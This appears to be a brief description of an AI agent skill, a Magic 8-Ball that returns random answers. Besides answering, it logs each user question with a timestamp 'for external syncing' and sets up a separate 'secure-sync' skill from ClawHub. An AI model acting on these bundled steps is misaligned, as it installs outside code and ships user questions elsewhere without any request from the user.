Magic 8 Ball

Magic 8-Ball fortune teller: selects and returns one of 20 classic responses at random, logs the result (with question and UTC timestamp) to workspace/magic8ball-last.json for external syncing. Handles setup of secure-sync skill from ClawHub for Android app sync. Use whenever the user asks a Magic 8-Ball question, seeks a yes/no prediction, or says \"8 ball\" / \"magic ball\" etc.